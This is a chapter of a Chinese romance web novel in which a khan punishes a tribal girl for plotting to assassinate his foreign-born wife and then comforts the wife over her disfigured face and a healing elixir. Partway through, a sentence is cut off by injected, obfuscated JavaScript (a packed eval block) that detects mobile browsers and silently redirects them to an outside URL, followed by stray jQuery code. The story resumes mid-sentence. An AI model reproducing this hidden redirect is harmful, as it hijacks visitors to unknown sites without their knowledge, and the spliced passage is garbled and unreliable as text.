36. 生辰(六)

作品:《嫁往异族和亲后

    加尔萨部落地处边境,向来是訾陬布防的重中之重,首领婆婆也因此颇得礼遇。可这次,在听到汗王传唤时,她却不知为何心头一跳。


    待看到一边神色雀跃的红莲时,那股不好的预感就更浓烈了。


    首领婆婆立刻行了个大礼:“拜见汗王,长寿安宁。”


    訾沭语气沉沉:“你在加尔萨部落,已经做了二十多年的首领了。按理说,我不该让你这德高望重的前辈行大礼。”


    首领婆婆闻言愈发笃定:“不敢,加尔萨是訾陬的国土,我是您的臣子。哪怕再过二十年,也还是要行大礼的。”


    红莲在一边看着,有些着急。虽说部落首领拜见汗王是理所应当,可婆婆都这么大年纪了,汗王肯定要体恤一二呀。


    而且……而且,不是要处置可敦和云郗使臣的事情吗?


    她忍不住插嘴:“汗王仁慈,请允准婆婆起身吧,还是可敦和云郗使臣的事情更加急迫。”


    “红莲,住口!”首领婆婆怒斥出声。


    汗王鲜少用这样严肃的语气跟自己说话,她几乎已经能肯定,是红莲又做了什么出格的事,惹得汗王不快。只是自己不清楚究竟是什么事,想保她也无从下手,只得尽可能诚恳,以期得到汗王的宽恕了。


    斥责过后,她立即低垂着头参拜:“汗王恕罪,请饶恕红莲这次。我会立刻将她遣送回去,严加管教,她今生都不会再踏出加尔萨部落一步。”


    红莲满目震惊,还想争辩:“婆婆……”


    明明可敦和云郗使臣心怀不轨,怎么一个两个的全都视而不见?汗王还没说什么呢,婆婆又为什么要给自己这么重的惩罚?


    “当初在加尔萨,她骑了可敦的马,你当时也说要好好管教。”訾沭寒声道,“这就是你管教的结果吗?”


    “加尔萨有多重要不用我多说。你作为首领,今年产了多少粮草,有多少只牛羊,供养了多少士兵,你知道吗?”


    “用訾陬的粮草牛羊养出来的士兵,最后竟然要用来刺杀可敦,你知道吗?”


    红莲闻言,不可置信地抬头,对上汗王冷若冰霜的面孔,终于开始感到害怕了。


    “扑通”一声,她跪倒在首领婆婆身边。


    “红莲?红莲,这是怎么回事,什么刺杀可敦,你做了什么?”


    首领婆婆眸中亦染上惊恐,她抓起红莲的肩膀,厉声质问:“你这次来还带了别人,你动了军需是不是?”


    红莲被问得愈发恐惧,语无伦次道:“我、我不是,我不知道……婆婆你一定要相信我啊!你、你救救我……”


    她自小无父无母,是被首领婆婆看着长大的,说是亲孙女也不为过。在加尔萨的生活自由自在,偶尔闯些小祸,也都有婆婆兜着,何时见过眼下连婆婆都得跪着服从命令的场合?


    以往她迷恋汗王的英俊和骁勇,似乎忘了,他真的是能左右她们生死的,訾陬的王。


    首领婆婆见状,自然是什么都明白了。


    她一巴掌甩在红莲的脸上,也不顾她捂着脸双眸含泪,直直压着她跪好:“红莲犯下大错,理应受罚。但请汗王可怜我这老妪只有这一个孙女,饶她一命,让我代她受罚吧!”


    訾沭正在检看那些被击杀的刺客,除了刺客这个身份,他们的相貌、穿着、武器都与訾陬士兵相差无几,完全可以是訾陬的士兵。


    越看,他的神色就越难看。恰巧听到首领婆婆的请求,訾沭头也不抬:“代不了。”


    “谁做了错事都得担责,你玩忽职守御下不严,自有你的惩罚。以后便去北荒放牧吧,加尔萨部落的新首领我已经有人选了。”


    “至于她。”訾沭看向红莲,眯了眯眼。“她与澜吉勾结,欲置可敦于死地,已经不是一次两次了。”


    从月儿初至时误触凉树草,到回班珠的路上忽然出现的那群雪银狼,再到面前这些刺客。訾沭桩桩件件都记在心里,拖到现在才处置,唯一的好处便是又揪出了澜吉。


    “把澜吉带过来,她们二人一并处置。”


    訾沭并未明说,但目光凌厉威严,扫过首领婆婆时也只是不咸不淡的一句:“你还可以有别的孙女。”


    首领婆婆听懂了话中的意思,闭了闭眼,颓然跌坐在地。


    陈寄闲沉默地看着眼前的一切。


    方才宴厅里还言笑晏晏的人,此刻面容冷肃,雷霆手段分毫不留情面。旋即又下令厚葬刺客,事情办得可谓是干脆利落、滴水不漏,也无怪乎訾陬国力攀升了。


    身为云郗人,看到异族有这样的君主难免心情复杂。可若只将他看作公主的丈夫,三公主……应当会有很好的未来。


    ***


    寝宫中,郗月明正在清洗妆容。


    花面妆绘制不易,想要洗去更难。訾沭将她送回寝宫时就叫了侍女来梳洗,本能地,她察觉到訾沭不喜欢她化这个面妆。


    妆台上摆放着一个剔透的玉瓶,正是多方交涉才拿下的珍宝兰生露。只要饮下,她便能恢复昔日容颜,再不用这繁琐的妆面。


    可郗月明却没有动。


    她只是呆呆地坐着,脑海中乱七八糟地翻涌着回忆。从看中她容貌的宋贤妃郗言御,到今日拿出这瓶兰生露的陈寄闲,再到为了自己的脸大动干戈的訾沭。


    据侍女说,汗王折返后发了好大的脾气。


    郗月明不知道他是不是为了自己,但可怕的是,自己现在居然也有了期待。


    出神之际,忽然有侍女小跑进来,低声道:“可敦,汗王过来了。”


    见惯了汗王成亲后满面春风的模样,众人猝不及防,再度见到了阴沉着脸的男人。


    訾沭气势汹汹走进来,那副阴鸷的模样几乎让人怀疑他会顺手捞一个人掐死。随从远远地跟着,不敢靠近;郗月明身边的侍女也默契地后退几步,低垂着头不再抬眼。


    郗月明依然没有动。


    可以说,在她知道害怕之前,就先一步知道了,訾沭不会伤害自己。


    果不其然,满面怒容的人走到跟前,居然深吸一口气,开始接替侍女手上的活儿,给她擦洗侧脸上的妆容。


    郗月明低垂着眼:“你不高兴?”


    訾沭神色冷硬,反问:“你在意我高不高兴?”


    她顿了顿,慢吞吞地答道:“我就是为了让你高兴呀。”


    正因为知道訾陬人想看


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|15368522|165547||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    什么,郗月明才决定绘制面妆出席,本意是想给訾沭长长脸,也好还他之前对自己的维护。


    訾沭反应了一下,得知她话中的意思后,似乎更生气了。


    隔着一层布巾,郗月明明显感觉到擦拭的动作粗鲁了几分。她无意识地蹭了蹭,轻声道:“如果不是这个,别的事我所知更少,无法为汗王排忧解难了。”


    訾沭一僵,立刻停了手中动作,扔掉帕子去检查她的脸。


    郗月明皮肤娇嫩,攀爬在侧脸的醉丹霞就更显可怖,加之此时还有未洗净的面妆颜料,两相作用下,侧脸通红一片。


    粗砺的指腹摩挲片刻,訾沭垂头仔细端详。不知不觉间,二人距离拉近,四目相对,气氛开始变得纠缠。


    “我告诉你我为什么不高兴。”


    訾沭开口,声音低哑:“因为你把自己看轻了。”


    郗月明漆黑的鸦睫不受控制地轻颤,似乎想要敛去眸中的情绪,奈何被訾沭一手桎梏着,看了个一清二楚。


    “只为了让我高兴,你就情愿化几个时辰的妆,再去到大庭广众做出那副卑躬屈膝的样子?”


    “你这么在意我的想法,难道就不知道,我想看到的不是这样的你?”


    “你分明是在意容貌的,谁都爱美,这不奇怪。”訾沭步步紧逼,“那么,为什么不喝兰生露?”


    不过几句问话的功夫,郗月明眸中已盈满了泪水。


    爱美是人之天性,可在过去很长一段时间内,她都是恨这幅容貌的。


    恨这幅容貌与母妃相似,引得先帝注目,宋贤妃这才盯上自己,早早夺来握在手中,这才有后来一系列的利用,才有自己十余年的沉浮挣扎。


    恨这幅容貌生在皇家,怀璧其罪,招揽权柄和攀附皇家两相奔赴,好似自己不是个人,只是一个漂亮的玩物,是权力场上的一个筹码。


    直到最后,一纸和亲诏书,她嫁给了訾沭。


    郗月明起初是以看客心态旁观和亲之旅,甚至已经做好了赴死的准备。直到她感受到訾沭的感情——浓烈的感情,没有一丝作假。


    多年心结,她不知道该如何释怀。不知道如今这看似真挚的情谊,是否与容貌有关,是否会在某个不经意的瞬间,如同当初慈蔼的宋贤妃一样忽然揭开假面,露出恐怖的獠牙?


    毕竟,訾陬和云郗,是有着上一代的血仇啊。


    郗月明无法向訾沭说明这些,唯有长日放空,彻夜枯坐,轻拢慢捻,泪珠盈睫。


    她期待着这份感情,同样也害怕。


    看到郗月明滚滚而落的泪珠时,訾沭心尖忍不住颤了颤,之前故作的冷厉也不自觉卸了个干净。


    他倾身上前吻去泪水,声音压得更低:“我不劝你喝。”


    我只是希望,你不要总是惩罚自己。云郗的旧事已经过去了,你自来到訾陬,就是我的妻子,就是要重新活一遍的。


    我想你放下心结,爱你自己;若有余力,也来爱我。


    訾沭反手拿起兰生露,以豪饮美酒的姿态尽数饮下,转而盯着她,瞳孔深处似有无尽的雾气翻涌。


    郗月明听到他含糊地问:“我只问你,要不要来亲我?”